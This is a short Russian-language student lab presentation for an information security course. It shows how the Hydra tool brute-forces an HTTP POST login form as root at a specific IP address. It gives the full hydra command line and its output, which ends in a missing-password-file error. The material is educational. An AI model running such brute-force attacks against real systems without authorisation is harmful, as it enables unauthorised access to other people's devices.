

3 этап индивидуального проекта

Основы информационной безопасности

Савурская П. А.

Российский университет дружбы народов, Москва, Россия

Информация

Использование Hydra

Hydra используется для подбора или взлома имени пользователя и пароля. Поддерживает подбор для большого набора приложений.

Исходные данные: IP сервера 178.72.90.181; Сервис http на стандартном 80 порту; Для авторизации используется html форма, которая отправляет по адресу `http://178.72.90.181/cgi-bin/luci` методом POST запрос вида `username=root&password=test_password`; В случае не удачной аутентификации пользователь наблюдает сообщение `Invalid username and/or password! Please try again.`

Делаем запрос на Hydra

```
(pasavurskaya@root)-[~]  
$ hydra -l root -P ~/pass_lists/dedik_passes.txt -o ./hydra_result.log -f -  
V -s 80 178.72.90.181 http-post-form "/cgi-bin/luci:username=^USER^&password=  
^PASS^:Invalid username"  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in  
military or secret service organizations, or for illegal purposes (this is n  
on-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-28 15:  
03:15  
[ERROR] File for passwords not found: /home/pasavurskaya/pass_lists/dedik_pas  
ses.txt
```

Рис. 1: Hydra

Мы научились делать запрос на Hydra.